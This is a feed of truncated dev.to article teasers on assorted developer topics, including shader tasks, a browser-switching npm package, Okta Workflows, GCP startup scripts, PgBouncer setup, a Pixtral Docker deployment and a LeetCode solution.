Our interactive platform Shader Learning for learning computer graphics now allows users to create and share custom tasks for free (here). Each task lets you build an graphics scene with full control over its components: 🎥 Scene Setup Configure the camera and its animation Add objects to the scene and define their geometry Upload textures and assign them to material 🧑‍🎨 Shader Editing Write and edit both vertex and fragment shaders Add a post-processing shader for screen effects 📚 Task Content Write a description for your task Add supporting theory or background information ✅ Validation Settings Choose which files the user can edit Set the number of frames and frame intervals Define linting rules to guide correct solutions 🚀 Publishing & Sharing Once your task is created and published, it becomes instantly available. You can share the link with others right away. 📊 Task Statistics For each task you publish, you can track: Number of views Number of successful solutions Likes and dislikes Written feedback from users ✏️ Task Management At any time, you can: Edit your task Hide it from public view Republish it when ready Demo This is the first version of the task creation system. Both the functionality and the UI will be refined and expanded over time. If you have suggestions or need specific features or data to build your tasks, feel free to reach out. I'm always open to improving the platform to better support your ideas. I'm excited to see the tasks you create!  ( 5 min )

Seamlessly open links in Chrome, Firefox, Brave, Edge, Opera, Samsung Internet, Vivaldi, UC, Safari and more — with Android Intents and iOS URL Schemes. Live demo: https://browser-switcher-demo.jakkimcfly.com GitHub: https://github.com/jakkimcfly/browser-switcher npm: https://www.npmjs.com/package/browser-switcher Have you ever needed to redirect users from one browser to another? For example, when you want a link to be opened directly in Chrome, Firefox, or another browser instead of the current one? That’s exactly what my new npm package browser-switcher does. It helps you: Seamlessly redirect users. Fully typed (TypeScript). Detect the current browser. Supported 10+ browsers. Detect In-App browser (e.g., Facebook, Instagram, TikTok). In this post, I’ll walk you through the basics of using browser-switcher, give you a working example, and briefly cover its core methods. You can install the package via npm or yarn: npm install browser-switcher # or yarn add browser-switcher Imagine you want to force open a link in Google Chrome when the user clicks a button: import BrowserSwitcher from 'browser-switcher'; document.getElementById('open-chrome')?.addEventListener('click', () => { try { BrowserSwitcher.open({ targetUrl: 'https://example.com', platform: 'auto', browser: 'chrome', }); } catch (error) { console.error('Browser switching failed:', error); } }); 👉 On Android, this will use intent:// to launch Chrome. googlechrome://). Full details are in the README. You can find a working demo in the example folder of the repository. With browser-switcher, you can easily: Detect the current browser. Open links in other browsers. Provide users with a simple UI to choose their browser. 👉 Check it out here: GitHub Repo ✅ That’s it! In just a few lines of code, you can reliably switch users between browsers on both Android and iOS.  ( 6 min )

I spend a lot of time writing. Articles, ideas, updates. But every time I wanted to share something I ran into the same problem. I’d finish a draft, polish it up, then open dev.to. Copy and paste. Fix the formatting. Publish. Then I’d do the same on Medium. Then on Hashnode. Then on Beehiiv. Four tabs. Four logins. Four different formatting tweaks. Four times the work for a single article. After a while, it felt broken. Writing should be about the words, not about fighting platforms. That’s what led me to start building Cross Write. What if there was one place where you could write your article, polish it if needed, and then publish it everywhere? So I started hacking on a tool with a simple flow: Start with a blank page or just an idea Use GPT to help expand, rewrite, or clean up your draft (with your own key) Save it as a draft, or schedule it for later When it’s ready, publish directly to dev.to, Medium, Hashnode, and Beehiiv in one click Instead of repeating the same process across four platforms, you write once and publish everywhere. I decided to make Cross Write free and open source. Two reasons: I know a lot of indie hackers and newsletter writers who deal with the same pain. If the tool helps them, great. I don’t want this locked behind another paid wall. Writers already have enough to worry about with reach, engagement, and growing an audience. The goal is to make writing and publishing simpler, not more complicated. Cross Write is still early, but it works. You can draft, polish, schedule, and push out content to multiple platforms. I’m polishing the UI and testing the integrations now. I’ll be launching it on Product Hunt soon, but I’d love to get early feedback. If this sounds like something you’d use, you can join the waitlist here: 👉 https://crosswrite.validatemy.app  ( 6 min )

How OrKa’s Maternal-Inspired Workflows Echo Geoffrey Hinton’s Call for "Maternal Instinct" in AI. In August 2025, Geoffrey Hinton told the Ai4 conference something that cut through the usual AI safety rhetoric: "If it’s not going to parent me, it’s going to replace me." He explained that AI systems should be designed with what he called maternal instincts. Not human feelings, but structural priorities that lead an AI to protect and nurture its users, even if it becomes vastly more capable than us. It is an unusual metaphor, but the more I thought about it, the more I realized that the orchestration patterns I have been building in OrKa already encode some of these protective behaviors in a way that is concrete and reproducible. Reference: Experiment maternity01 public workflow and logs Mos…  ( 9 min )

That was the moment I truly understood the gap between building a UI and delivering a flawless user experience. I had crafted a beautiful interface—smooth animations, responsive layouts, pixel-perfect design—but within hours of going live, reports of broken buttons, misaligned components, and unexpected behavior started coming in. It wasn’t the design. It wasn’t the code quality. 🚨 Why Front-End Testing Matters Without it, you’re essentially gambling with your product’s reputation: Bugs slip through unnoticed until users complain. Inconsistent layouts frustrate customers and hurt your brand. Accessibility issues lock out entire groups of users. And here’s the kicker—most of these problems could have been caught before launch with the right testing tools and techniques. 🛠 5 Must-Have Fron…  ( 7 min )

Infrastructure Testing: Ensuring a Solid Foundation for Your Applications Introduction In today's dynamic and complex software landscape, infrastructure plays a critical role in the success of applications. Gone are the days when manual server provisioning and configuration were the norm. Infrastructure as Code (IaC) has emerged as a powerful paradigm, allowing us to define and manage infrastructure through code, bringing automation, repeatability, and version control to infrastructure management. However, merely automating infrastructure deployment is not enough. We must ensure that the provisioned infrastructure behaves as expected and meets the defined requirements. This is where Infrastructure Testing comes into play. Infrastructure Testing is the process of verifying the correctness…  ( 9 min )

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Posted on dev.to by @majizzy - August 16, 2025 Hey devs! 👋 So you're stuck choosing between NEAR and Avalanche? Yeah, I've been there. Actually spent the last 8 months building the SAME app on both chains (long story, don't ask 😅) and let me tell you... it's been a wild ride. Before we dive in, let me be crystal clear - I'm not here to shill either chain. Both have made me want to throw my laptop out the window at some point, and both have also made me feel like a coding genius. That's just blockchain development for ya! 🤷‍♂️ That's when I decided to stop being a blockchain maximalist and actually TEST both platforms with real code, real money, and real users. What I found will probably surprise you... Setting up NEAR was like that rare moment when npm install actually works on the f…  ( 10 min )

Melody: 😀 Human-made Lyrics: 😀 Human-made Music production: 🤖 AI-made (Suno) Cover art: 🤖 AI-made (OpenAI) Style prompt A ballad, easy listening, clean male vocals, relaxing music, fingerstyle guitar, enjoyable, bass lines This song is actually pretty close to what I had in mind. As I'm listening to it again, I find it rather depressing! I think the main thing I like about this song was the "down-du-down-du-down", and I pretty much the entire song around that section. That's why the refrain is not so bad. That said, for the rest of the lyrics, it was pretty much "whatever rhymes with brown" or something like that. The melody kinda flows well though. The theme is a bit weird, it's a guy complaining about his town, though the real reason for his depression is a recent breakup. Alright, this one was a bit strange, but I'm sure you can't wait to... 📅 Hear the next one!  ( 6 min )

By Frank — Senior Electronics Engineer (USA) If you’ve ever wondered how tiny components on a smartphone or laptop stay firmly attached, the short answer is: controlled heat. Reflow ovens are the workhorses that turn solder paste into strong, reliable joints. Think of a reflow oven like baking a delicate cake. You don’t slam it in at full heat, you preheat, hold, spike, then cool. A reflow oven moves PCBs through a series of zones that gently preheat the board, soak to equalize temperature, spike into the reflow peak to melt solder, and then cool at a controlled rate so joints solidify without stress. The result is consistent surface-mount soldering across the entire board. Preheat zone: The board warms up gradually so moisture and solvents evaporate and components aren’t shocked. Soak zo…  ( 6 min )

When building applications with Recoil, you often need to manage state that looks similar but is distinguished by some dynamic parameter — for example, user profiles, messages, or notifications that are stored individually. Defining a separate atom for each case would be repetitive and inefficient. This is where AtomFamily comes into play. atomFamily is a factory for atoms. Instead of creating multiple atoms manually, you can create a function that generates unique atoms based on a parameter. Each atom created by the family behaves like a normal atom but is identified by the parameter you pass in. This makes it perfect for dynamic data structures where you don’t know beforehand how many atoms you’ll need. import { atomFamily } from "recoil"; const myAtomFamily = atomFamily({ key: "myAto…  ( 6 min )

💡 During my first year in the program, I worked passionately to spread the power of mainframe technology: hosting workshops, watch parties, promoting hashtag#IBM Z Xplore, and inspiring fellow students to get involved. It was an incredible journey filled with learning, networking, and true leadership. 🌍 This global program led by IBM Z Student Ambassador Program and Your Big Year®, is all about empowering students who are passionate about technology, leadership, and enterprise computing. Through it, I earned IBM Z digital badges, gained access to exclusive technical training, connected with inspiring mentors, and even launched a mainframe-focused community on my campus. 🔐 As a computer engineering student, I’ve seen firsthand how IBM Z powers the world every day, from ATM transactions to airline bookings and online shopping. My first year confirmed there’s a whole universe of possibilities in mission critical computing. 👨‍💻 Now, stepping into my second year, I’m ready to lead new initiatives: running semesterly workshops, amplifying the program online, engaging more students in IBM Z Xplore, and continuing to grow our campus mainframe community. 🙌 Huge thanks to IBM, IBM Z Student Ambassador Program and Your Big Year® for believing in me and giving me the chance to keep being a voice for IBM Z among my peers. Here’s to another year of innovation, impact, and tech for good!  ( 5 min )

Apple is advancing its AI capabilities by integrating ChatGPT into iOS 18.2 and beyond, creating a more intelligent user experience. This update brings ChatGPT's power to devices like the iPhone 15 Pro and iPhone 16 series, but it's sparking controversy with xAI's legal threats. In iOS 18.2, Apple introduces ChatGPT to enhance features like Siri and writing tools. Siri can now handle complex queries by optionally routing them to ChatGPT, while keeping personal data secure. This means users get better responses for general knowledge without compromising privacy. Key features include improved writing tools for generating and refining text, as well as visual intelligence that identifies objects via the camera. These enhancements aim to make daily tasks easier, but they require specific device…  ( 6 min )

In order to use connector you need to Create a Connection Create a Flow Connect to your Okta Workflow instance. Select Connections. Under Connections click the New Connection icon. Select Your connector Provide the details and click the Create button. Create a Flow Connect to your Okta Workflow instance. Select Flows. Click the New Flow button. In the When this happens block click Add event and select API Endpoint. Click save In the Then do this block click Add function to add functions. When finished it should look like. Save it as the name you want to display when selecting the action. Ensure you select `` Click the Run button and click Run When it has completed the execution it should be successful. Open the flow directly and it should return similair to `  ( 5 min )

Okta Workflow is a no code development environment to create workflows to perform a large number of operations based on Connections. If there is not a Connector available you can create your own using their Connector Builder, and the best part is that you can try it out using their free Integration account. Okta workflow no code approach is drag and drop between functions / actions. Most functions have Inputs and Outputs, so you can drag an Output onto an Input. Once done you can highlight Input or Output to see the connection. For example: Here are the basic steps. Create a Connector. Configure Authentication. Create a httpHelper flow - used by the connector to make requests using the connection Acces token. Create a _pingAuth flow - Validates the Access Token to see if it needs to be re…  ( 6 min )

Learning to code has been both exciting and challenging. I’ve been focusing on JavaScript recently, and I’ll be honest—sometimes it feels overwhelming. But I’ve learned that progress doesn’t happen all at once; it happens step by step, line by line. 💡 Along this journey, here are some tips that help me (and might help you, too): Start small. Don’t wait to master everything before building. Even the simplest project matters. Consistency is key. Coding daily, even a little, compounds into big progress. Break problems down. Big challenges become manageable when split into smaller tasks. Learn in public. Sharing your journey keeps you motivated and inspires others. Focus on growth, not perfection. Every error is just a step toward improvement. ✨ My journey isn’t about being perfect—it’s about being consistent. If you’re learning too, remember: you’re not behind, you’re exactly where you need to be. CodingJourney #100DaysOfCode #LearningInPublic #WebDevelopment  ( 5 min )

If you’ve been exploring AI-powered applications in React, you might have come across GenKit — an AI toolkit that helps you build intelligent features like chatbots, text generation, and more. In this post, we’ll learn how to integrate GenKit into a React.js app with a simple example: First, make sure you have a React project ready. npx create-react-app genkit-demo cd genkit-demo Now install GenKit: npm install @genkit-ai/core @genkit-ai/llm We’ll create a simple function to call GenKit’s text generation API. // src/genkit.js import { Genkit, LLM } from "@genkit-ai/core"; import { OpenAI } from "@genkit-ai/llm-openai"; // Example provider // Initialize GenKit const genkit = new Genkit({ llm: new OpenAI({ apiKey: process.env.REACT_APP_OPENAI_KEY, // Store securely in .env }), }…  ( 6 min )

Over the last year, you've probably seen a wave of AI tools promising to make code review faster. Platforms like CodeRabbit, CodeAnt, and even GitHub Copilot now step in to provide automated review comments when you open a pull request or merge request. The workflow is familiar: A developer submits a change. The team wants to merge it into main/master. Traditionally, a senior engineer had to go through each line of code, highlight every issue, and leave detailed comments. That process works -- but it comes with hidden costs. Senior reviewers spend valuable time pointing out mundane issues (styling violations, misplaced braces, redundant loops), while the actual developer waits hours or even days for the first round of feedback. This is exactly where AI code review shines. By providi…  ( 9 min )

Discovering yle.fi: What I Found Here's what I discovered while exploring yle.fi I recently came across yle.fi and wanted to share my experience. While browsing through the site, several things caught my attention. The overall design and user experience felt intuitive, making it easy to navigate and find what I was looking for. Clean and simple interface Easy navigation Useful content organization Pleasant user experience yle.fi offers a refreshing approach to presenting information online. It's always nice to discover websites that prioritize user experience without unnecessary complexity. If you're looking for something new to explore, https://yle.fi/ might be worth checking out. This is based on my personal experience exploring the site.  ( 5 min )

JavaScript is a crucial programming language for web development, offering a wide range of capabilities for creating dynamic and interactive websites. When it comes to working with JavaScript, developers have the option to use vanilla JavaScript or JavaScript frameworks. While both have their own advantages and disadvantages, it is important to understand the differences between the two in order to make informed decisions when developing web applications. This article explores the key differences between vanilla JavaScript and JavaScript frameworks, helping developers choose the right approach for their projects. The Fundamentals of Vanilla JavaScript: Features and Advantages Vanilla JavaScript refers to using pure JavaScript without the aid of any additional libraries or frameworks. It pr…  ( 7 min )

This year marks 20 years of mapping innovation with the Google Maps Platform Awards, celebrating projects that push the boundaries of what’s possible with location-based technology. 🚀 My Entry: EcoCarto I am proud to share that my project EcoCarto has been nominated! 🎉 EcoCarto is an Interactive Environmental Health Map that transforms complex ecological data into simple, actionable insights. Provides a location-based Eco Score (AQI, vegetation, humidity, temperature) Highlights risk zones (Green / Moderate / High-Risk) Shows historical trends (2015–2024) Suggests smart plantation strategies Generates downloadable eco-reports 🌱 The goal: Make ecological awareness accessible and actionable for everyone. 💡 Why It Matters We live in a time of rising pollution, shrinking green cover, and unpredictable climate patterns. Google Maps Platform tools like Geocoding, Places API, and Maps JavaScript API. 🙌 How You Can Help EcoCarto is competing in the Google Maps Platform Awards. Please vote it means A Lot for me Vote Here: Vote-here Live-here 🏆 Let’s Put Climate Data on the Map Together, we can turn awareness into action and data into change. Thank you for voting, supporting, and helping EcoCarto grow. 💚  ( 5 min )

The Evolution of Frontend Architecture In today's fast-paced development landscape, monolithic frontend applications often become bottlenecks for large teams. Enter micro-frontends – an architectural pattern that brings the benefits of microservices to the frontend world. But not all micro-frontend implementations are created equal. Many developers think micro-frontends are just multiple applications running in iframes. While this approach works, it comes with significant limitations: Poor User Experience: Scrolling issues, navigation problems, and inconsistent styling Limited Communication: Complex postMessage APIs for inter-app communication SEO Challenges: Search engines struggle with iframe-based content Performance Issues: Each iframe loads its own resources independently Webpack …  ( 8 min )

If you have just started with deep learning, one optimizer you will hear about again and again is the Adam Optimizer. It shows up in tutorials, research papers, and almost every popular machine learning library. So, what makes it special? Adam stands for Adaptive Moment Estimation. In simple terms, it is a smart way to adjust learning rates while training neural networks. Imagine walking downhill to reach the lowest point. Instead of moving blindly, Adam remembers the direction of previous steps and changes its speed, so the path becomes smooth and efficient. Why Developers Use Adam Trains models faster than many traditional optimizers. Works well with noisy or sparse data. Requires very little manual tuning. Built-in support in PyTorch, TensorFlow, and Keras. Key Benefits Faster convergence. Good for computer vision and NLP tasks. Combines the strengths of momentum and RMSProp. Drawbacks Can sometimes settle in less optimal solutions. Consumes more memory since it stores extra parameters. Common Use Cases Image Recognition (CNNs) Natural Language Processing (BERT, GPT models) Reinforcement Learning Forecasting and Time Series Final Thoughts The Adam Optimizer is often the first choice for deep learning projects. For students, developers, and freshers, it is a great starting point to build and train neural networks without too much hassle.  ( 5 min )

Google Cloud Startup Scripts allow you to run commands automatically when a Compute Engine VM instance boots. This is super useful for tasks like installing packages, configuring web servers, and setting up environments without manual effort. In this tutorial, we’ll walk through creating a VM in Google Cloud Platform (GCP) and using a startup script to install Nginx and serve a custom HTML page. Before creating a VM, ensure that the Google Compute Engine API is enabled in your project. Navigate to: Google Cloud Console → Compute Engine → VM Instances → Create Instance Fill in the details as below: Name: demo2-vm-startupscript Labels: environment: dev Region: us-central1 Zone: us-central1-a Machine Configuration: Series: E2 Machine Type: e2-micro (free-tier eligible) Operating system and …  ( 6 min )

Effective organization and team collaboration are essential for scaling n8n automation across teams and organizations. This comprehensive guide will teach you everything you need to know about managing projects, folders, permissions, and team workflows in n8n. n8n provides multiple layers of organization to help you manage workflows, credentials, and team access effectively. Organizational Hierarchy: Instance Level ├── Projects (Enterprise/Pro) │ ├── Workflows │ ├── Credentials │ └── Team Members ├── Folders (Self-hosted/Cloud) │ └── Workflows (organized by tags) ├── Tags │ └── Workflow categorization └── Individual Workflows ├── Nodes ├── Connections └── Settings Key Organizational Features: Projects: Enterprise-level grouping with RBAC Folders: Visual orga…  ( 14 min )

When building real-world applications, we often need to connect them with databases to store and retrieve data. In Java, this is achieved using JDBC – Java Database Connectivity. JDBC is a standard Java API that allows applications to connect and interact with relational databases such as MySQL, PostgreSQL, Oracle, or SQL Server. JDBC (Java Database Connectivity) is: A standard Java API for connecting Java applications with relational databases. A set of classes and interfaces provided by the Java platform. Useful for performing CRUD (Create, Read, Update, Delete) operations in databases. To connect a Java program with a database using JDBC, we follow 7 main steps: import java.sql.*; Each database needs a specific driver. Example for MySQL: Class.forName("com.mysql.cj.jdbc.Driver"); We c…  ( 6 min )

Posted on dev.to - August 16, 2025 So, I've been building DApps for about 2.5 years now, and honestly, choosing the right blockchain still gives me analysis paralysis sometimes. Last month I shipped a pretty complex DeFi aggregator on both NEAR and Polygon zkEVM (don't ask why, it seemed like a good idea at the time), and figured I'd share what I learned from actually building on both platforms instead of just reading whitepapers. Spoiler alert: they're both good, but in very different ways. And yes, I'm going to include actual code because I'm tired of blockchain comparisons that never show you what development actually looks like. NEAR: Feels like building modern web apps, predictable costs, human-friendly addresses, but smaller ecosystem Polygon zkEVM: Ethereum compatibility is huge, ma…  ( 13 min )

🌵 Why “Windows Albuquerque”? Albuquerque is not just a city. It was Microsoft’s birthplace, before Redmond. It symbolizes engineering, technical roots, and systems that respected the user. Naming this version after it is not marketing. It’s a historical correction. Windows Albuquerque is not just another release. It’s a return to fundamentals. Solaris Zones were an elegant solution for creating isolated execution environments without heavy virtualization. Each zone shared the system kernel but had its own user space, configuration, and resources. They weren’t virtual machines. They weren’t containers. They were controlled, reversible, and auditable zones. True isolation without duplicating the kernel Granular control over CPU, memory, disk, and network Declarative configuratio…  ( 7 min )

🔹 Problem: 1323. Maximum 69 Number Difficulty: #Easy Tags: #Greedy, #Math You’re given a positive integer made up of only digits 6 and 9. You are allowed to change at most one digit (6 → 9 or 9 → 6). Brute Force Idea: 6 with 9 one by one, compute all possible numbers, and pick the maximum. This works, but it’s wasteful. Optimized Strategy (Greedy): To maximize, we only need to flip the leftmost 6 into 9. Why? Because digits on the left have higher weight in decimal representation. No need to check further, just do a single replacement. Algorithm Used: Greedy + String Manipulation ⚙️ Code Implementation (Python) class Solution: def maximum69Number (self, num: int) -> int: # Convert number to string for easy manipulation num = str(num) # Replace only the first '6' with '9' num = num.replace('6', '9', 1) # Convert back to int and return return int(num) Time: O(n), where n = number of digits (string scan + replacement). Space: O(n) due to string conversion. ✅ Greedy worked because we only need to maximize once at the highest place value. 💡 Learned that string manipulation can often simplify digit-based problems. 💭 Similar problems often involve changing the most significant digit first. [x] Could I solve this without help? [x] Did I write code from scratch? [x] Did I understand why it works? [x] Will I be able to recall this in a week? Metric Value Day 61 Total Problems Solved 417 Confidence Today 😃 Leetcode Rating 1572  ( 6 min )

Earlier this year, I registered for Accelerate Her in Tech – A Student Hackathon. I went in thinking, “This will be fun, a good challenge, and a chance to learn something new.” I never imagined it would lead to something as unexpected and exciting as an interview with Nokia. The Hackathon Timeline Here’s how it all unfolded: February 26, 2025 – Registration opens March 8 – Round 1: Programming Challenge March 21–23 – Round 2: Code Hunt June – Finale Round 1 was a quick programming challenge focused on core fundamentals and problem-solving under time pressure. Round 2 was the 72-hour Code Hunt, filled with DSA challenges. It was about precision, problem-solving, and staying consistent across three days. Here's the moment I found out I made it to Round 2: The Unexpected Twist A few week…  ( 6 min )

Intro: Hey JS Devs! AI's Calling, and Guess What? You're Already Ready. The hype surrounding Large Language Models (LLMs) like ChatGPT, Gemini, and Claude is not just media fluff; these models are genuinely reshaping industries. The question isn't whether AI will impact your work, but how. And here's a provocative thought: your JavaScript skills are not just relevant, they're a secret weapon. For too long, the AI narrative has been dominated by Pythonistas. But JavaScript's ubiquitous presence, its unmatched flexibility, makes it a compelling choice, perhaps the choice, for crafting AI applications. This isn't about replacing Python in core AI research; it's about leveraging the power of LLMs within the web ecosystem, where JavaScript reigns supreme. Consider this journey an intellectual…  ( 9 min )

Large language models are compute-heavy, and deploying them efficiently requires optimized inference engines like vLLM. In this guide, we’ll walk through containerizing Pixtral using Docker, running it with vLLM, and exposing the model endpoint for external access. Docker installed (latest version recommended) NVIDIA GPU with CUDA drivers (if running with GPU acceleration) Model weights available (Pixtral Hugging Face repo or local) FROM nvidia/cuda:12.2.2-runtime-ubuntu22.04 # System dependencies RUN apt-get update && apt-get install -y \ git wget curl python3 python3-pip && \ rm -rf /var/lib/apt/lists/* # Install vLLM RUN pip3 install --upgrade pip RUN pip3 install vllm # Set working directory WORKDIR /app # Expose port for API EXPOSE 8000 # Default command (can be overridde…  ( 6 min )

When I first heard the term Computer Science, I imagined complex codes, robots, and a world where only “genius” programmers survived. I thought it was something too complicated for someone like me. But as I slowly took my first steps, I realized Computer Science isn’t just about writing code it’s about solving problems, creating things, and shaping the future. Why Computer Science? We live in a time where technology drives almost everything. From the way we shop, connect with friends, travel, or even order food Computer Science is the silent force working behind the scenes. Choosing to learn it isn’t just about building a career; it’s about being part of the change that shapes the modern world. Starting Small: The First Step Matters Most Most of us think we need to master everything ri…  ( 8 min )

When working with Google Compute Engine (GCE), you often need to automate tasks like installing software, configuring firewalls, or running custom commands as soon as your VM boots up. This is where Startup Scripts come in. A startup script is a file containing commands that automatically run when a VM instance boots. Supported on both Linux VMs and Windows VMs. Can be configured at VM-level or Project-level. VM-level startup scripts override project-level scripts. 👉 Example use case: If you want all VMs in a project to have the same script applied (like installing antivirus or monitoring agents), you can configure a project-level startup script. Types of Scripts Bash Scripts (most common). Non-Bash Scripts — supported if you specify an interpreter. Example: #! /usr/bin/python3 print("Hello from Python startup script") What Happens Behind the Scenes? When you provide a startup script: Compute Engine copies the script to the VM. It sets run permissions on the script. The script runs as root user when the VM boots. ✅ How many startup scripts can you use per VM? You can configure multiple startup scripts. ✅ Order of Execution Metadata Key: startup-script Scripts provided directly in metadata or locally → run first. Metadata Key: startup-script-url Scripts stored in Cloud Storage (GCS) → run second. ✅ Script Size Limit Maximum allowed size: 256 KB Automatically install software (Apache, Nginx, Databases). Configure monitoring agents and logging tools. Apply project-wide policies without manually configuring each VM. Speed up provisioning by automating boot-time tasks.  ( 6 min )

Hello devs, Why join? Early contributor influence: shape Zoi’s architecture, UX, and roadmap. Community-first: open governance and collaborative development. Perks: contributors can earn a seat on the GitLab Ultimate plan. Learn & grow: mentoring, code review, and community support. Who we’re looking for: Maintainers, devs, DevOps engineers, documentation writers, designers, testers, and community managers. Any experience level — we welcome contributors new to open-source. How to join: Join our Discord to meet the team and chat. Want to be a core contributor? Join our Slack channel by contacting us by email contact@zillowe.rf.gd to get an invite and role details. Check our repo: GitHub/GitLab. About Zoi Goal: single tool to manage, install, and publish packages across ecosystems. Tech: Git, Rust, Go, JS/TS. Roadmap: Zoi 5.0 Beta includes a plugin system. I’m currently building this solo and would love collaborators. If you’re interested, join Discord or email me at zillowez@gmail.com. Thanks, excited to build with you!  ( 5 min )

Hey everyone 👋, As a web developer, I wanted to work on a fun side project that also helps people. Growing up, I always loved the idea of waking up and wondering: “Will school be canceled today because of snow?” So, I decided to turn that nostalgia into a little web app: Snow Day Calculator 🚀. 🌨️ What It Does The tool is super simple: You enter your location ❄️ It checks weather data ☁️ Then it gives you a prediction on the chances of a snow day. It’s completely free, lightweight, and works on both desktop and mobile. ⚙️ How I Built It Frontend: Vanilla HTML, CSS, and JavaScript (no heavy frameworks — I wanted it fast). Hosting: Netlify — great for free deployments. Performance: Optimized for Core Web Vitals (FCP/LCP ~1.7s 🚀). Fun factor: Tried to keep it playful yet useful. 🛠️ Lessons Learned Even small projects benefit a lot from performance optimization — lazy-loading images, reserving space for elements to reduce layout shift, and preloading fonts made a big difference. Building something fun makes it way easier to actually finish the project. Sharing projects like this is a great way to improve as a developer (and get feedback from the community!). 🔗 Try It Out 👉 You can try the app here: Snow Day Calculator Would love feedback, feature requests, or even bug reports. Thinking about adding: Different regions’ school calendars More accurate weather models A little fun animation for snow 🌨️ 💬 Question for the community: What’s a small/fun project you’ve built recently just for the joy of it?  ( 6 min )

Introduction to Document Data Extraction In today’s digital economy, businesses rely heavily on information to make decisions, streamline workflows, and serve customers effectively. Yet much of the data organizations manage still exists in documents such as PDFs, invoices, contracts, reports, and scanned images. Document data extraction refers to the process of pulling meaningful information from these files, whether structured, semi-structured, or completely unstructured, and converting it into formats that can be analyzed, stored, or integrated with other systems. By automating this process, organizations gain speed, accuracy, and the ability to unlock insights hidden in mountains of paperwork. For decades, companies have struggled with manual data entry. Employees tasked with typing d…  ( 9 min )

7 Twitter Prompts That Grew My AI Audience Jaideep Parashar ・ Aug 16 #ai #automation #openai #learning  ( 5 min )

En el mundo educativo, la pregunta incómoda es: ¿Se está evaluando lo que el estudiante sabe o solo su capacidad de usar bien la IA? En el mundo del desarrollo de software, la inquietud es parecida: ¿Seguimos entendiendo el código o solo sabemos copiar y pegar lo que la IA nos da? (Nistal, 2025). Lo interesante es que ambas situaciones reflejan el mismo riesgo: la dependencia excesiva de la IA puede debilitar habilidades fundamentales, tanto en estudiantes como en profesionales. Un desarrollador que ya no lee un stack trace y un estudiante que ya no consulta fuentes tienen mucho en común: ambos dejan de ejercitar el pensamiento crítico. Como advierte Nistal (2025), al delegar de forma automática tareas como el debugging o la comprensión de errores, el programador pierde no solo conoc…  ( 7 min )

测试文章1DEV.to专属这篇文章将只发布到DEV.to平台## 内容特点- 针对DEV.to社区的技术文章- 使用直接内容模式- 包含代码示例 javascriptconsole.log('Hello DEV.to!'); 适合开发者阅读的技术内容  ( 5 min )

When I first started posting about AI, my Twitter (X) account wasn’t growing much. Then I started using structured prompts to create tweets that were clear, valuable, and shareable. Today, I’m sharing them so you can use them too. 1️⃣ The “One-Liner Wisdom” Prompt “Write a tweet under 220 characters that shares a sharp insight about [topic]. Make it bold, thought-provoking, and save-worthy.” Example: 2️⃣ The “Mini-Thread” Prompt “Create a 5-tweet thread explaining [concept] in plain English. Each tweet should add value, and the first should be a strong hook.” This format built authority fast — perfect for breaking down technical AI ideas for non-tech readers. 3️⃣ The “AI Tool Drop” Prompt “Suggest a tweet that lists 3 underrated AI tools for [audience type], with 1-line benefits each. Kee…  ( 7 min )

There's a harsh reality facing development teams in 2024: according to recent studies, 90% of all IT projects are delivered late due to manual testing. Yet despite this staggering statistic, the majority of businesses still do little to no functional test automation. This creates what we might call the "testing paradox"—teams know manual testing is slowing them down, but they continue to rely on it anyway. Meanwhile, the costs are mounting in ways that extend far beyond delayed deliveries. 48% of respondents in the latest State of Quality Report identified lack of time as the top challenge in achieving software quality goals. But here's what's really happening behind those numbers: The average development team wastes 14 to 16 hours every week wrangling internal tools, setting up environmen…  ( 8 min )

Heavyweight Comparison Between the Top Editors for Devs, Creators, and Tinkerers 🧠 Whether you’re just starting out or already crafting complex apps — your editor is your home base. But which one really does it all in 2025? Let’s go head-to-head and find out. We’re diving deep into the four most dominant code editors right now: VS Code — The all-rounder Sublime Text — The speed demon WebStorm — The powerhouse IDE Vim / Neovim — The hacker's choice 🔍 1. Visual Studio Code (VS Code) The Most Popular Code Editor — Period. 🆓 Free & Open Source 🔌 Massive Extension Library 💙 Perfect for Front-End & Full Stack 🤖 Built-in AI Tools (GitHub Copilot, CodeWhisperer) 🧠 Smart IntelliSense and debugging tools 🌙 Beautiful themes and customization Great For: Beginners, …  ( 7 min )

When building interactive web applications, managing event listeners efficiently is crucial. Adding event listeners to every element individually can hurt performance—especially if the DOM has hundreds or thousands of elements. That’s where Event Delegation in JavaScript comes to the rescue. In this blog, we’ll cover: 🔎 What is Event Delegation in JavaScript? Event Delegation is a JavaScript technique that leverages event bubbling to handle events more efficiently. Instead of attaching event listeners to multiple child elements, you attach a single event listener to a parent element. The parent listens for events bubbling up from its children and handles them appropriately. ⚡ How Event Delegation Works Event Bubbling – When an event occurs (like click), it bubbles up from the target eleme…  ( 7 min )

inchirags@gmail.com Chirag's PostgreSQL DBA Tutorial https://www.chirags.in Using PgBouncer to improve performance and reduce the load on PostgreSQL ---------install and configure pgbouncer---------------- Let's assume we have a PostgreSQL server. postgres@dept:~$ psql -h 127.0.0.1 -p 5432 -U postgres -d postgres Password for user postgres: psql (16.4 (Ubuntu 16.4-1.pgdg22.04+1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off) Type "help" for help. postgres=# postgres=# select version(); version PostgreSQL 16.4 (Ubuntu 16.4-1.pgdg22.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit (1 row) postgres=# Let's install pgbouncer: root@dept:~# sudo apt-get install pgbouncer The next step is to configure pgbouncer…  ( 10 min )

1323. Maximum 69 Number Difficulty: Easy Topics: Math, Greedy, Weekly Contest 172 You are given a positive integer num consisting only of digits 6 and 9. Return the maximum number you can get by changing at most one digit (6 becomes 9, and 9 becomes 6). Example 1: Input: num = 9669 Output: 9969 Explanation: Changing the first digit results in 6669. Changing the second digit results in 9969. Changing the third digit results in 9699. Changing the fourth digit results in 9666. The maximum number is 9969. Example 2: Input: num = 9996 Output: 9999 Explanation: Changing the last digit 6 to 9 results in the maximum number. Example 3: Input: num = 9999 Output: 9999 Explanation: It is better not to apply any change. Constraints: 1 <= num <= 104 num consists of only 6 and 9 digits. Hint: Convert t…  ( 32 min )

